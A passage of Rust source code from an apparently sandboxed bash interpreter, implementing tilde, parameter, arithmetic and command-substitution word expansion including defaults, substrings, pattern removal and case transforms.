{\n                    push_segment(words, c, true, true);\n                }\n            } else {\n                push_segment(words, s, true, true);\n            }\n        }\n        WordPiece::TildeExpansion(expr) => {\n            if in_dq {\n                // Tilde expansion does not occur inside double quotes.\n                use brush_parser::word::TildeExpr;\n                match expr {\n                    TildeExpr::Home => push_segment(words, \"~\", true, true),\n                    TildeExpr::WorkingDir => push_segment(words, \"~+\", true, true),\n                    TildeExpr::OldWorkingDir => push_segment(words, \"~-\", true, true),\n                    TildeExpr::UserHome(user) => {\n                        push_segment(words, &format!(\"~{user}\"), true, true);\n                    }\n                    TildeExpr::NthDirFromTopOfDirStack { n, plus_used } => {\n                        if *plus_used {\n                            push_segment(words, &format!(\"~+{n}\"), true, true);\n                        } else {\n                            push_segment(words, &format!(\"~{n}\"), true, true);\n                        }\n                    }\n                    TildeExpr::NthDirFromBottomOfDirStack { n } => {\n                        push_segment(words, &format!(\"~-{n}\"), true, true);\n                    }\n                }\n            } else {\n                expand_tilde(expr, words, state);\n            }\n        }\n        WordPiece::ParameterExpansion(expr) => {\n            at_empty = expand_parameter(expr, words, state, in_dq)?;\n        }\n        // Command substitution — future phases\n        WordPiece::CommandSubstitution(_) | WordPiece::BackquotedCommandSubstitution(_) => {}\n        WordPiece::ArithmeticExpression(_) => {\n            // Immutable path cannot evaluate arithmetic (needs mutable state).\n            // Arithmetic in non-mutable context is a no-op; real usage goes\n            // through expand_word_piece_mut.\n        }\n    }\n    Ok(at_empty)\n}\n\n/// Mutable variant for pieces that may need to assign variables.\nfn expand_word_piece_mut(\n    piece: &WordPiece,\n    words: &mut Vec<WordInProgress>,\n    state: &mut InterpreterState,\n    in_dq: bool,\n) -> Result<bool, RustBashError> {\n    match piece {\n        WordPiece::ParameterExpansion(expr) => {\n            let at_empty = expand_parameter_mut(expr, words, state, in_dq)?;\n            Ok(at_empty)\n        }\n        WordPiece::DoubleQuotedSequence(pieces)\n        | WordPiece::GettextDoubleQuotedSequence(pieces) => {\n            let word_count_before = words.len();\n            let seg_count_before = words.last().map_or(0, Vec::len);\n            let mut saw_at_empty = false;\n            for inner in pieces {\n                if expand_word_piece_mut(&inner.piece, words, state, true)? {\n                    saw_at_empty = true;\n                }\n            }\n            if words.len() == word_count_before\n                && words.last().map_or(0, Vec::len) == seg_count_before\n                && !saw_at_empty\n            {\n                push_segment(words, \"\", true, true);\n            }\n            Ok(false)\n        }\n        WordPiece::CommandSubstitution(cmd_str)\n        | WordPiece::BackquotedCommandSubstitution(cmd_str) => {\n            let output = execute_command_substitution(cmd_str, state)?;\n            push_segment(words, &output, in_dq, in_dq);\n            Ok(false)\n        }\n        WordPiece::ArithmeticExpression(expr) => {\n            // Expand shell variables in the expression before arithmetic evaluation.\n            let expanded = expand_arith_expression(&expr.value, state)?;\n            let val = crate::interpreter::arithmetic::eval_arithmetic(&expanded, state)?;\n            push_segment(words, &val.to_string(), in_dq, in_dq);\n            Ok(false)\n        }\n        // Non-mutating pieces delegate to immutable version\n        other => expand_word_piece(other, words, state, in_dq),\n    }\n}\n\n// ── Tilde expansion ─────────────────────────────────────────────────\n\nfn expand_tilde(\n    expr: &brush_parser::word::TildeExpr,\n    words: &mut Vec<WordInProgress>,\n    state: &InterpreterState,\n) {\n    use brush_parser::word::TildeExpr;\n    match expr {\n        TildeExpr::Home => {\n            let home = get_var(state, \"HOME\").unwrap_or_default();\n            push_segment(words, &home, true, true);\n        }\n        TildeExpr::WorkingDir => {\n            let pwd = get_var(state, \"PWD\").unwrap_or_default();\n            push_segment(words, &pwd, true, true);\n        }\n        TildeExpr::OldWorkingDir => {\n            let oldpwd = get_var(state, \"OLDPWD\").unwrap_or_default();\n            push_segment(words, &oldpwd, true, true);\n        }\n        TildeExpr::UserHome(user) => {\n            if user == \"root\" {\n                push_segment(words, \"/root\", true, true);\n            } else {\n                // ~user → not supported in sandbox, output literally\n                push_segment(words, \"~\", true, true);\n                push_segment(words, user, true, true);\n            }\n        }\n        TildeExpr::NthDirFromTopOfDirStack { .. }\n        | TildeExpr::NthDirFromBottomOfDirStack { .. } => {\n            // Directory stack tilde expansion not yet supported\n            push_segment(words, \"~\", true, true);\n        }\n    }\n}\n\n// ── Parameter expansion (immutable) ─────────────────────────────────\n\n/// Returns `true` if this was a `$@` expansion with zero positional params\n/// (used to prevent `\"\"` preservation in enclosing double quotes).\nfn expand_parameter(\n    expr: &ParameterExpr,\n    words: &mut Vec<WordInProgress>,\n    state: &InterpreterState,\n    in_dq: bool,\n) -> Result<bool, RustBashError> {\n    validate_expr_parameter(expr)?;\n    validate_indirect_reference(expr, state)?;\n    let mut at_empty = false;\n    let ext = state.shopt_opts.extglob;\n    match expr {\n        ParameterExpr::Parameter {\n            parameter,\n            indirect,\n        } => {\n            check_nounset(parameter, state)?;\n            let val = resolve_parameter(parameter, state, *indirect);\n            at_empty = expand_param_value(&val, words, state, in_dq, parameter);\n        }\n        ParameterExpr::ParameterLength {\n            parameter,\n            indirect,\n        } => {\n            check_nounset(parameter, state)?;\n            // ${#arr[@]} and ${#arr[*]} return element count\n            match parameter {\n                Parameter::Special(SpecialParameter::AllPositionalParameters {\n                    concatenate: _,\n                }) => {\n                    push_segment(\n                        words,\n                        &state.positional_params.len().to_string(),\n                        in_dq,\n                        in_dq,\n                    );\n                }\n                Parameter::NamedWithAllIndices { name, .. } => {\n                    let values = get_array_values(name, state);\n                    push_segment(words, &values.len().to_string(), in_dq, in_dq);\n                }\n                _ => {\n                    let val = resolve_parameter(parameter, state, *indirect);\n                    push_segment(words, &string_length(&val, state).to_string(), in_dq, in_dq);\n                }\n            }\n        }\n        ParameterExpr::UseDefaultValues {\n            parameter,\n            indirect,\n            test_type,\n            default_value,\n        } => {\n            let val = resolve_parameter(parameter, state, *indirect);\n            let use_default = should_use_default_for_parameter(\n                parameter, *indirect, &val, test_type, state, in_dq,\n            );\n            if use_default {\n                if let Some(dv) = default_value {\n                    expand_raw_into_words(dv, words, state, in_dq)?;\n                }\n            } else {\n                push_expanded_parameter_value(parameter, *indirect, &val, words, state, in_dq);\n            }\n        }\n        // AssignDefaultValues — needs mutation, handled by mut variant; here treat as UseDefault\n        ParameterExpr::AssignDefaultValues {\n            parameter,\n            indirect,\n            test_type,\n            default_value,\n        } => {\n            let val = resolve_parameter(parameter, state, *indirect);\n            let use_default = should_use_default_for_parameter(\n                parameter, *indirect, &val, test_type, state, in_dq,\n            );\n            if use_default {\n                if let Some(dv) = default_value {\n                    // AssignDefaultValues collapses to a single string for both\n                    // assignment and expansion (bash behavior).\n                    let expanded = expand_raw_string_ctx(dv, state, in_dq)?;\n                    push_segment(words, &expanded, in_dq, in_dq);\n                }\n            } else {\n                push_expanded_parameter_value(parameter, *indirect, &val, words, state, in_dq);\n            }\n        }\n        ParameterExpr::IndicateErrorIfNullOrUnset {\n            parameter,\n            indirect,\n            test_type,\n            error_message,\n        } => {\n            let val = resolve_parameter(parameter, state, *indirect);\n            let use_default = should_use_default_for_parameter(\n                parameter, *indirect, &val, test_type, state, in_dq,\n            );\n            if use_default {\n                let param_name = parameter_name(parameter);\n                let msg = if let Some(raw) = error_message {\n                    expand_raw_string_ctx(raw, state, in_dq)?\n                } else {\n                    \"parameter null or not set\".to_string()\n                };\n                return Err(RustBashError::ExpansionError {\n                    message: format!(\"{param_name}: {msg}\"),\n                    exit_code: 1,\n                    should_exit: true,\n                });\n            }\n            push_expanded_parameter_value(parameter, *indirect, &val, words, state, in_dq);\n        }\n        ParameterExpr::UseAlternativeValue {\n            parameter,\n            indirect,\n            test_type,\n            alternative_value,\n        } => {\n            let val = resolve_parameter(parameter, state, *indirect);\n            let use_default = should_use_default_for_parameter(\n                parameter, *indirect, &val, test_type, state, in_dq,\n            );\n            if !use_default && let Some(av) = alternative_value {\n                expand_raw_into_words(av, words, state, in_dq)?;\n            } else if !*indirect\n                && vectorized_parameter_words(parameter, state, in_dq)\n                    .is_some_and(|vals| vals.is_empty())\n            {\n                at_empty = true;\n            }\n            // If unset/null, expand to nothing\n        }\n        ParameterExpr::RemoveSmallestSuffixPattern {\n            parameter,\n            indirect,\n            pattern,\n        } => {\n            if let Some((values, concatenate)) = get_vectorized_values(parameter, state, *indirect)\n            {\n                let pat_expanded = pattern\n                    .as_ref()\n                    .map(|p| expand_pattern_string(p, state))\n                    .transpose()?;\n                let results: Vec<String> = values\n                    .iter()\n                    .map(|v| {\n                        if let Some(ref pat) = pat_expanded\n                            && let Some(idx) = pattern::shortest_suffix_match_ext(v, pat, ext)\n                        {\n                            v[..idx].to_string()\n                        } else {\n                            v.clone()\n                        }\n                    })\n                    .collect();\n                push_vectorized(results, concatenate, words, state, in_dq);\n            } else {\n                let val = resolve_parameter(parameter, state, *indirect);\n                let result = if let Some(pat) = pattern {\n                    let pat = expand_pattern_string(pat, state)?;\n                    if let Some(idx) = pattern::shortest_suffix_match_ext(&val, &pat, ext) {\n                        val[..idx].to_string()\n                    } else {\n                        val\n                    }\n                } else {\n                    val\n                };\n                push_segment(words, &result, in_dq, in_dq);\n            }\n        }\n        ParameterExpr::RemoveLargestSuffixPattern {\n            parameter,\n            indirect,\n            pattern,\n        } => {\n            if let Some((values, concatenate)) = get_vectorized_values(parameter, state, *indirect)\n            {\n                let pat_expanded = pattern\n                    .as_ref()\n                    .map(|p| expand_pattern_string(p, state))\n                    .transpose()?;\n                let results: Vec<String> = values\n                    .iter()\n                    .map(|v| {\n                        if let Some(ref pat) = pat_expanded\n                            && let Some(idx) = pattern::longest_suffix_match_ext(v, pat, ext)\n                        {\n                            v[..idx].to_string()\n                        } else {\n                            v.clone()\n                        }\n                    })\n                    .collect();\n                push_vectorized(results, concatenate, words, state, in_dq);\n            } else {\n                let val = resolve_parameter(parameter, state, *indirect);\n                let result = if let Some(pat) = pattern {\n                    let pat = expand_pattern_string(pat, state)?;\n                    if let Some(idx) = pattern::longest_suffix_match_ext(&val, &pat, ext) {\n                        val[..idx].to_string()\n                    } else {\n                        val\n                    }\n                } else {\n                    val\n                };\n                push_segment(words, &result, in_dq, in_dq);\n            }\n        }\n        ParameterExpr::RemoveSmallestPrefixPattern {\n            parameter,\n            indirect,\n            pattern,\n        } => {\n            if let Some((values, concatenate)) = get_vectorized_values(parameter, state, *indirect)\n            {\n                let pat_expanded = pattern\n                    .as_ref()\n                    .map(|p| expand_pattern_string(p, state))\n                    .transpose()?;\n                let results: Vec<String> = values\n                    .iter()\n                    .map(|v| {\n                        if let Some(ref pat) = pat_expanded\n                            && let Some(len) = pattern::shortest_prefix_match_ext(v, pat, ext)\n                        {\n                            v[len..].to_string()\n                        } else {\n                            v.clone()\n                        }\n                    })\n                    .collect();\n                push_vectorized(results, concatenate, words, state, in_dq);\n            } else {\n                let val = resolve_parameter(parameter, state, *indirect);\n                let result = if let Some(pat) = pattern {\n                    let pat = expand_pattern_string(pat, state)?;\n                    if let Some(len) = pattern::shortest_prefix_match_ext(&val, &pat, ext) {\n                        val[len..].to_string()\n                    } else {\n                        val\n                    }\n                } else {\n                    val\n                };\n                push_segment(words, &result, in_dq, in_dq);\n            }\n        }\n        ParameterExpr::RemoveLargestPrefixPattern {\n            parameter,\n            indirect,\n            pattern,\n        } => {\n            if let Some((values, concatenate)) = get_vectorized_values(parameter, state, *indirect)\n            {\n                let pat_expanded = pattern\n                    .as_ref()\n                    .map(|p| expand_pattern_string(p, state))\n                    .transpose()?;\n                let results: Vec<String> = values\n                    .iter()\n                    .map(|v| {\n                        if let Some(ref pat) = pat_expanded\n                            && let Some(len) = pattern::longest_prefix_match_ext(v, pat, ext)\n                        {\n                            v[len..].to_string()\n                        } else {\n                            v.clone()\n                        }\n                    })\n                    .collect();\n                push_vectorized(results, concatenate, words, state, in_dq);\n            } else {\n                let val = resolve_parameter(parameter, state, *indirect);\n                let result = if let Some(pat) = pattern {\n                    let pat = expand_pattern_string(pat, state)?;\n                    if let Some(len) = pattern::longest_prefix_match_ext(&val, &pat, ext) {\n                        val[len..].to_string()\n                    } else {\n                        val\n                    }\n                } else {\n                    val\n                };\n                push_segment(words, &result, in_dq, in_dq);\n            }\n        }\n        ParameterExpr::Substring {\n            parameter,\n            indirect,\n            offset,\n            length,\n        } => {\n            check_nounset(parameter, state)?;\n            // Check if this is an array/positional parameter needing element-level slicing\n            if let Parameter::Special(SpecialParameter::AllPositionalParameters { concatenate }) =\n                parameter\n            {\n                let off_raw = parse_arithmetic_value(&offset.value);\n                let (values, start) = positional_slice_values_and_start(state, off_raw);\n                let sliced: Vec<String> = if let Some(len_expr) = length {\n                    let len_raw = parse_arithmetic_value(&len_expr.value);\n                    if len_raw < 0 {\n                        return Err(negative_substring_length_error(&len_expr.value));\n                    }\n                    values\n                        .into_iter()\n                        .skip(start)\n                        .take(len_raw as usize)\n                        .collect()\n                } else {\n                    values.into_iter().skip(start).collect()\n                };\n                push_vectorized(sliced, *concatenate, words, state, in_dq);\n            } else if let Some((values, concatenate)) =\n                get_vectorized_values(parameter, state, *indirect)\n            {\n                let elem_count = values.len() as i64;\n                let off_raw = parse_arithmetic_value(&offset.value);\n                let off = if off_raw < 0 {\n                    (elem_count + off_raw).max(0) as usize\n                } else {\n                    off_raw as usize\n                };\n                let sliced: Vec<String> = if let Some(len_expr) = length {\n                    let len_raw = parse_arithmetic_value(&len_expr.value);\n                    if len_raw < 0 {\n                        return Err(negative_substring_length_error(&len_expr.value));\n                    }\n                    values\n                        .into_iter()\n                        .skip(off)\n                        .take(len_raw as usize)\n                        .collect()\n                } else {\n                    values.into_iter().skip(off).collect()\n                };\n                push_vectorized(sliced, concatenate, words, state, in_dq);\n            } else {\n                let val = resolve_parameter(parameter, state, *indirect);\n                let char_count = val.chars().count();\n                let off = parse_arithmetic_value(&offset.value);\n                let off = if off < 0 {\n                    (char_count as i64 + off).max(0) as usize\n                } else {\n                    off as usize\n                };\n                let substr: String = if let Some(len_expr) = length {\n                    let len = parse_arithmetic_value(&len_expr.value);\n                    let len = if len < 0 {\n                        ((char_count as i64) - (off as i64) + len).max(0) as usize\n                    } else {\n                        len as usize\n                    };\n                    if off <= char_count {\n                        val.chars().skip(off).take(len).collect()\n                    } else {\n                        String::new()\n                    }\n                } else if off <= char_count {\n                    val.chars().skip(off).collect()\n                } else {\n                    String::new()\n                };\n                push_segment(words, &substr, in_dq, in_dq);\n            }\n        }\n        ParameterExpr::ReplaceSubstring {\n            parameter,\n            indirect,\n            pattern: raw_pat,\n            replacement: raw_repl,\n            match_kind,\n        } => {\n            check_nounset(parameter, state)?;\n            let (pattern_src, replacement_src) =\n                normalize_patsub_slashes(raw_pat, raw_repl.as_deref());\n            let pat = expand_pattern_string(pattern_src, state)?;\n            let repl_expanded = replacement_src\n                .as_ref()\n                .map(|r| expand_replacement_string(r, state))\n                .transpose()?;\n            let repl = repl_expanded.as_deref().unwrap_or(\"\");\n            let byte_mode = is_byte_locale(state);\n            let do_replace = |val: &str| -> String {\n                match match_kind {\n                    SubstringMatchKind::FirstOccurrence => {\n                        if let Some((start, end)) =\n                            pattern::first_match_ext_with_mode(val, &pat, ext, byte_mode)\n                        {\n                            format!(\"{}{}{}\", &val[..start], repl, &val[end..])\n                        } else {\n                            val.to_string()\n                        }\n                    }\n                    SubstringMatchKind::Anywhere => {\n                        pattern::replace_all_ext_with_mode(val, &pat, repl, ext, byte_mode)\n                    }\n                    SubstringMatchKind::Prefix => {\n                        if let Some(len) =\n                            pattern::longest_prefix_match_ext_with_mode(val, &pat, ext, byte_mode)\n                        {\n                            if byte_mode {\n                                let suffix = String::from_utf8_lossy(&val.as_bytes()[len..]);\n                                format!(\"{repl}{suffix}\")\n                            } else {\n                                format!(\"{repl}{}\", &val[len..])\n                            }\n                        } else {\n                            val.to_string()\n                        }\n                    }\n                    SubstringMatchKind::Suffix => {\n                        if let Some(idx) =\n                            pattern::longest_suffix_match_ext_with_mode(val, &pat, ext, byte_mode)\n                        {\n                            if byte_mode {\n                                let prefix = String::from_utf8_lossy(&val.as_bytes()[..idx]);\n                                format!(\"{prefix}{repl}\")\n                            } else {\n                                format!(\"{}{repl}\", &val[..idx])\n                            }\n                        } else {\n                            val.to_string()\n                        }\n                    }\n                }\n            };\n            if let Some((values, concatenate)) = get_vectorized_values(parameter, state, *indirect)\n            {\n                let results: Vec<String> = values.iter().map(|v| do_replace(v)).collect();\n                push_vectorized(results, concatenate, words, state, in_dq);\n            } else {\n                let val = resolve_parameter(parameter, state, *indirect);\n                let result = do_replace(&val);\n                push_segment(words, &result, in_dq, in_dq);\n            }\n        }\n        ParameterExpr::UppercaseFirstChar {\n            parameter,\n            indirect,\n            pattern,\n        } => {\n            let pat = pattern\n                .as_ref()\n                .map(|p| expand_pattern_string(p, state))\n                .transpose()?\n                .filter(|p| !p.is_empty());\n            if let Some((values, concatenate)) = get_vectorized_values(parameter, state, *indirect)\n            {\n                let results: Vec<String> = values\n                    .iter()\n                    .map(|v| uppercase_first_matching(v, pat.as_deref(), ext))\n                    .collect();\n                push_vectorized(results, concatenate, words, state, in_dq);\n            } else {\n                let val = resolve_parameter(parameter, state, *indirect);\n                let result = uppercase_first_matching(&val, pat.as_deref(), ext);\n                push_segment(words, &result, in_dq, in_dq);\n            }\n        }\n        ParameterExpr::UppercasePattern {\n            parameter,\n            indirect,\n            pattern,\n        } => {\n            let pat = pattern\n                .as_ref()\n                .map(|p| expand_pattern_string(p, state))\n                .transpose()?\n                .filter(|p| !p.is_empty());\n            if let Some((values, concatenate)) = get_vectorized_values(parameter, state, *indirect)\n            {\n                let results: Vec<String> = values\n                    .iter()\n                    .map(|v| uppercase_matching(v, pat.as_deref(), ext))\n                    .collect();\n                push_vectorized(results, concatenate, words, state, in_dq);\n            } else {\n                let val = resolve_parameter(parameter, state, *indirect);\n                push_segment(\n                    words,\n                    &uppercase_matching(&val, pat.as_deref(), ext),\n                    in_dq,\n                    in_dq,\n                );\n            }\n        }\n        ParameterExpr::LowercaseFirstChar {\n            parameter,\n            indirect,\n            pattern,\n        } => {\n            let pat = pattern\n                .as_ref()\n                .map(|p| expand_pattern_string(p, state))\n                .transpose()?\n                .filter(|p| !p.is_empty());\n            if let Some((values, concatenate)) = get_vectorized_values(parameter, state, *indirect)\n            {\n                let results: Vec<String> = values\n                    .iter()\n                    .map(|v| lowercase_first_matching(v, pat.as_deref(), ext))\n                    .collect();\n                push_vectorized(results, concatenate, words, state, in_dq);\n            } else {\n                let val = resolve_parameter(parameter, state, *indirect);\n                let result = lowercase_first_matching(&val, pat.as_deref(), ext);\n                push_segment(words, &result, in_dq, in_dq);\n            }\n        }\n        ParameterExpr::LowercasePattern {\n            parameter,\n            indirect,\n            pattern,\n        } => {\n            let pat = pattern\n                .as_ref()\n                .map(|p| expand_pattern_string(p, state))\n                .transpose()?\n                .filter(|p| !p.is_empty());\n            if let Some((values, concatenate)) = get_vectorized_values(parameter, state, *indirect)\n            {\n                let results: Vec<String> = values\n                    .iter()\n                    .map(|v| lowercase_matching(v, pat.as_deref(), ext))\n                    .collect();\n                push_vectorized(results, concatenate, words, state, in_dq);\n            } else {\n                let val = resolve_parameter(parameter, state, *indirect);\n                push_segment(\n                    words,\n                    &lowercase_matching(&val, pat.as_deref(), ext),\n                    in_dq,\n                    in_dq,\n                );\n            }\n        }\n        ParameterExpr::Transform {\n            parameter,\n            indirect,\n            op,\n        } => {\n            check_nounset(parameter, state)?;\n            let transform_name = transform_target_name(parameter, *indirect, state);\n            let scalar_defined = !parameter_scalar_is_unset(parameter, *indirect, state);\n            let variable_exists = parameter_variable_exists(parameter, *indirect, state);\n            if let Some((mut values, concatenate)) =\n                get_vectorized_values(parameter, state, *indirect)\n            {\n                if values.is_empty() && !concatenate {\n                    at_empty = true;\n                    return Ok(at_empty);\n                }\n                if parameter_is_associative_array(parameter, *indirect, state) {\n                    values.reverse();\n                }\n                let results: Vec<String> = values\n                    .iter()\n                    .map(|v| {\n                        apply_transform(\n                            v,\n                            op,\n                            transform_name.as_deref(),\n                            scalar_defined,\n                            variable_exists,\n                            state,\n                        )\n                    })\n                    .collect();\n                push_vectorized(results, concatenate, words, state, in_dq);\n            } else {\n                let val = resolve_parameter(parameter, state, *indirect);\n                let result = apply_transform(\n                    &val,\n                    op,\n                    transform_name.as_deref(),\n                    scalar_defined,\n                    variable_exists,\n                    state,\n                );\n                push_segment(words, &result, in_dq, in_dq);\n            }\n        }\n        ParameterExpr::VariableNames {\n            prefix,\n            concatenate,\n        } => {\n            let mut names: Vec<String> = state\n                .env\n                .keys()\n                .filter(|k| k.starts_with(prefix.as_str()))\n                .cloned()\n                .collect();\n            names.sort();\n            if *concatenate {\n                // ${!prefix*} — join with IFS[0], single word\n                let sep = match get_var(state, \"IFS\") {\n                    Some(s) => s.chars().next().map(|c| c.to_string()).unwrap_or_default(),\n                    None => \" \".to_string(),\n                };\n                push_segment(words, &names.join(&sep), in_dq, in_dq);\n            } else if names.is_empty() {\n                at_empty = true;\n            } else {\n                // ${!prefix@} — each name becomes a separate word\n                for (i, name) in names.iter().enumerate() {\n                    if i > 0 {\n                        start_new_word(words);\n                    }\n                    push_segment(words, name, in_dq, in_dq);\n                }\n            }\n        }\n        ParameterExpr::MemberKeys {\n            variable_name,\n            concatenate,\n        } => {\n            let keys = get_array_keys(variable_name, state);\n            if *concatenate {\n                // Bash joins ${!arr[*]} with spaces when IFS is empty.\n                let sep = match get_var(state, \"IFS\") {\n                    Some(s) if s.is_empty() => \" \".to_string(),\n                    Some(s) => s.chars().next().map(|c| c.to_string()).unwrap_or_default(),\n                    None => \" \".to_string(),\n                };\n                push_segment(words, &keys.join(&sep), in_dq, in_dq);\n            } else if keys.is_empty() {\n                at_empty = true;\n            } else {\n                // ${!arr[@]} — each key becomes a separate word\n                for (i, k) in keys.iter().enumerate() {\n                    if i > 0 {\n                        start_new_word(words);\n                    }\n                    push_segment(words, k, in_dq, in_dq);\n                }\n            }\n        }\n    }\n    Ok(at_empty)\n}\n\n/// Mutable variant that can assign defaults via `:=`.\nfn expand_parameter_mut(\n    expr: &ParameterExpr,\n    words: &mut Vec<WordInProgress>,\n    state: &mut InterpreterState,\n    in_dq: bool,\n) -> Result<bool, RustBashError> {\n    validate_expr_parameter(expr)?;\n    validate_indirect_reference(expr, state)?;\n    match expr {\n        ParameterExpr::UseDefaultValues {\n            parameter,\n            indirect,\n            test_type,\n            default_value,\n        } => {\n            let val = resolve_parameter_maybe_mut(parameter, state, *indirect)?;\n            let use_default = should_use_default_for_parameter_mut(\n                parameter, *indirect, &val, test_type, state, in_dq,\n            )?;\n            if use_default {\n                if let Some(raw) = default_value {\n                    expand_raw_into_words_mut(raw, words, state, in_dq)?;\n                }\n            } else {\n                push_expanded_parameter_value(parameter, *indirect, &val, words, state, in_dq);\n            }\n            Ok(false)\n        }\n        ParameterExpr::AssignDefaultValues {\n            parameter,\n            indirect,\n            test_type,\n            default_value,\n        } => {\n            let val = resolve_parameter_maybe_mut(parameter, state, *indirect)?;\n            let use_default = should_use_default_for_parameter_mut(\n                parameter, *indirect, &val, test_type, state, in_dq,\n            )?;\n            if use_default {\n                // AssignDefaultValues collapses to a single string.\n                let dv = if let Some(raw) = default_value {\n                    expand_raw_string_mut_ctx(raw, state, in_dq)?\n                } else {\n                    String::new()\n                };\n                assign_default_to_parameter(parameter, *indirect, &dv, state)?;\n                push_segment(words, &dv, in_dq, in_dq);\n            } else {\n                push_expanded_parameter_value(parameter, *indirect, &val, words, state, in_dq);\n            }\n            Ok(false)\n        }\n        ParameterExpr::IndicateErrorIfNullOrUnset {\n            parameter,\n            indirect,\n            test_type,\n            error_message,\n        } => {\n            let val = resolve_parameter_maybe_mut(parameter, state, *indirect)?;\n            let use_default = should_use_default_for_parameter_mut(\n                parameter, *indirect, &val, test_type, state, in_dq,\n            )?;\n            if use_default {\n                let param_name = parameter_name(parameter);\n                let msg = if let Some(raw) = error_message {\n                    expand_raw_string_mut_ctx(raw, state, in_dq)?\n                } else {\n                    \"parameter null or not set\".to_string()\n                };\n                return Err(RustBashError::ExpansionError {\n                    message: format!(\"{param_name}: {msg}\"),\n                    exit_code: 1,\n                    should_exit: true,\n                });\n            }\n            push_expanded_parameter_value(parameter, *indirect, &val, words, state, in_dq);\n            Ok(false)\n        }\n        ParameterExpr::UseAlternativeValue {\n            parameter,\n            indirect,\n            test_type,\n            alternative_value,\n        } => {\n            let val = resolve_parameter_maybe_mut(parameter, state, *indirect)?;\n            let use_default = should_use_default_for_parameter_mut(\n                parameter, *indirect, &val, test_type, state, in_dq,\n            )?;\n            if !use_default && let Some(raw) = alternative_value {\n                expand_raw_into_words_mut(raw, words, state, in_dq)?;\n            } else if !*indirect\n                && vectorized_parameter_words(parameter, state, in_dq)\n                    .is_some_and(|vals| vals.is_empty())\n            {\n                return Ok(true);\n            }\n            Ok(false)\n        }\n        ParameterExpr::Parameter {\n            parameter,\n            indirect,\n        } => {\n            check_nounset(parameter, state)?;\n            let val = resolve_parameter_maybe_mut(parameter, state, *indirect)?;\n            let at_empty = expand_param_value(&val, words, state, in_dq, parameter);\n            Ok(at_empty)\n        }\n        ParameterExpr::Substring {\n            parameter,\n            indirect,\n            offset,\n            length,\n        } => {\n            check_nounset(parameter, state)?;\n            if let Parameter::Special(SpecialParameter::AllPositionalParameters { concatenate }) =\n                parameter\n            {\n                let expanded_off = expand_arith_expression(&offset.value, state)?;\n                let off_raw =\n                    crate::interpreter::arithmetic::eval_arithmetic(&expanded_off, state)?;\n                let (values, start) = positional_slice_values_and_start(state, off_raw);\n                let sliced: Vec<String> = if let Some(len_expr) = length {\n                    let expanded_len = expand_arith_expression(&len_expr.value, state)?;\n                    let len_raw =\n                        crate::interpreter::arithmetic::eval_arithmetic(&expanded_len, state)?;\n                    if len_raw < 0 {\n                        return Err(negative_substring_length_error(&len_expr.value));\n                    }\n                    values\n                        .into_iter()\n                        .skip(start)\n                        .take(len_raw as usize)\n                        .collect()\n                } else {\n                    values.into_iter().skip(start).collect()\n                };\n                push_vectorized(sliced, *concatenate, words, state, in_dq);\n            } else if let Some((_, concatenate)) =\n                get_vectorized_values(parameter, state, *indirect)\n            {\n                // Array slicing with full arithmetic evaluation.\n\n                // Get key-value pairs for proper sparse-array handling.\n                let kv_pairs = get_array_kv_pairs(parameter, state);\n                let max_key = kv_pairs.last().map(|(k, _)| *k).unwrap_or(0) as i64;\n\n                // Evaluate offset as arithmetic.\n                let expanded_off = expand_arith_expression(&offset.value, state)?;\n                let off_raw =\n                    crate::interpreter::arithmetic::eval_arithmetic(&expanded_off, state)?;\n\n                // Compute the key-based threshold for indexed arrays.\n                // For negative offsets: threshold = max_key + 1 + offset.\n                let compute_threshold = |raw: i64| -> Option<usize> {\n                    if raw < 0 {\n                        let t = max_key.checked_add(1).and_then(|v| v.checked_add(raw));\n                        match t {\n                            Some(v) if v >= 0 => Some(v as usize),\n                            _ => None,\n                        }\n                    } else {\n                        Some(raw as usize)\n                    }\n                };\n\n                let sliced: Vec<String> = if let Some(len_expr) = length {\n                    let expanded_len = expand_arith_expression(&len_expr.value, state)?;\n                    let len_raw =\n                        crate::interpreter::arithmetic::eval_arithmetic(&expanded_len, state)?;\n                    if len_raw < 0 {\n                        return Err(negative_substring_length_error(&len_expr.value));\n                    }\n                    let len = len_raw as usize;\n                    match compute_threshold(off_raw) {\n                        None => Vec::new(),\n                        Some(threshold) => kv_pairs\n                            .into_iter()\n                            .filter(|(k, _)| *k >= threshold)\n                            .map(|(_, v)| v)\n                            .take(len)\n                            .collect(),\n                    }\n                } else {\n                    // No length — take all from offset.\n                    match compute_threshold(off_raw) {\n                        None => Vec::new(),\n                        Some(threshold) => kv_pairs\n                            .into_iter()\n                            .filter(|(k, _)| *k >= threshold)\n                            .map(|(_, v)| v)\n                            .collect(),\n                    }\n                };\n                push_vectorized(sliced, concatenate, words, state, in_dq);\n            } else {\n                // Scalar substring.\n                let val = resolve_parameter_maybe_mut(parameter, state, *indirect)?;\n                let char_count = val.chars().count();\n                let expanded_off = expand_arith_expression(&offset.value, state)?;\n                let off = crate::interpreter::arithmetic::eval_arithmetic(&expanded_off, state)?;\n                let off = if off < 0 {\n                    (char_count as i64 + off).max(0) as usize\n                } else {\n                    off as usize\n                };\n                let substr: String = if let Some(len_expr) = length {\n                    let expanded_len = expand_arith_expression(&len_expr.value, state)?;\n                    let len =\n                        crate::interpreter::arithmetic::eval_arithmetic(&expanded_len, state)?;\n                    let len = if len < 0 {\n                        ((char_count as i64) - (off as i64) + len).max(0) as usize\n                    } else {\n                        len as usize\n                    };\n                    if off <= char_count {\n                        val.chars().skip(off).take(len).collect()\n                    } else {\n                        String::new()\n                    }\n                } else if off <= char_count {\n                    val.chars().skip(off).collect()\n                } else {\n                    String::new()\n                };\n                push_segment(words, &substr, in_dq, in_dq);\n            }\n            Ok(false)\n        }\n        // All other expressions delegate to immutable\n        other => expand_parameter(other, words, state, in_dq),\n    }\n}\n\n/// Resolve a parameter with possible mutation (e.g. $RANDOM uses next_random).\n/// Returns Result to propagate circular nameref errors.\nfn resolve_parameter_maybe_mut(\n    parameter: &Parameter,\n    state: &mut InterpreterState,\n    indirect: bool,\n) -> Result<String, RustBashError> {\n    // Check for circular namerefs on Named parameters.\n    if let Parameter::Named(name) = parameter\n        && let Err(_) = crate::interpreter::resolve_nameref(name, state)\n    {\n        // Circular nameref: set exit code 1, return empty\n        // (bash prints a warning to stderr here — we silently fail to avoid\n        // bypassing VFS with eprintln!)\n        state.last_exit_code = 1;\n        return Ok(String::new());\n    }\n    let val = match parameter {\n        Parameter::Named(name) if name == \"RANDOM\" => next_random(state).to_string(),\n        Parameter::NamedWithIndex { name, index } => resolve_array_element_mut(name, index, state)?,\n        _ => resolve_parameter_direct(parameter, state),\n    };\n    if indirect {\n        // Nameref inversion: when ref IS a nameref, ${!ref} returns the 